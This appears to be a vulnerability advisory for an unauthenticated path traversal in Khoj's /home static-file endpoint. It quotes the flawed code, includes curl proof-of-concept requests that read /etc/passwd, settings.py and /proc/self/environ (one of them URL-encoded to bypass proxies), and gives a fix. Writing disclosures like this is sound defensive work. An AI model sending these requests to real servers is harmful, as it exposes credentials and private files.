### Summary The `/home/{file_path:path}` endpoint in `web_client.py` serves static files by directly concatenating the user-supplied `file_path` with the `home_directory` constant. There is no path traversal filtering, no path normalization check, and no authentication required. An attacker can use `../` sequences to read arbitrary files from the server filesystem. ### Details **Vulnerable code** — `src/khoj/routers/web_client.py` lines 46-49: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): """Serve static files from the home landing page directory""" return FileResponse(constants.home_directory / file_path) ``` Where `home_directory` is defined in `src/khoj/utils/constants.py` line 6: ```python home_directory = web_directory / "home/" ``` **What is missing:** - No `..` traversal filtering - No path normalization/resolution check (e.g., `resolved.is_relative_to(home_directory)`) - No authentication decorator (`@requires(["authenticated"])` is absent) - Starlette's `FileResponse` does NOT perform path traversal protection **Path resolution:** ``` Request: GET /home/../../../../../../../etc/passwd file_path = "../../../../../../../etc/passwd" home_directory / file_path = /app/src/khoj/interface/web/home/../../../../../../../etc/passwd OS resolves to: /etc/passwd ``` ### PoC ```bash # Read /etc/passwd (no authentication required) curl http://localhost:42110/home/../../../../../../../etc/passwd # Read application settings (may contain SECRET_KEY, DB credentials) curl http://localhost:42110/home/../../../../settings.py # Read environment file curl http://localhost:42110/home/../../../../../../../proc/self/environ ``` URL-encoded variant (may bypass some reverse proxy normalization): ```bash curl http://localhost:42110/home/..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd ``` ### Impact Unauthenticated arbitrary file read. An attacker with network access to the Khoj instance can: - **Read application configuration** — Django `SECRET_KEY`, database credentials, API keys - **Read system files** — `/etc/passwd`, `/etc/shadow` (if permissions allow), `/proc/self/environ` - **Exfiltrate sensitive data** — Any file readable by the server process - **Facilitate further attacks** — Leaked credentials enable deeper compromise **No authentication required** — the endpoint has no auth decorators, making it exploitable by any network-reachable attacker. ### Recommended fix Use FastAPI's built-in `StaticFiles` mount instead of a custom handler, or add explicit path validation: ```python @web_client.get("/home/{file_path:path}", response_class=FileResponse) def home_static_files(file_path: str): resolved = (constants.home_directory / file_path).resolve() if not resolved.is_relative_to(constants.home_directory.resolve()): raise HTTPException(status_code=404) return FileResponse(resolved) ```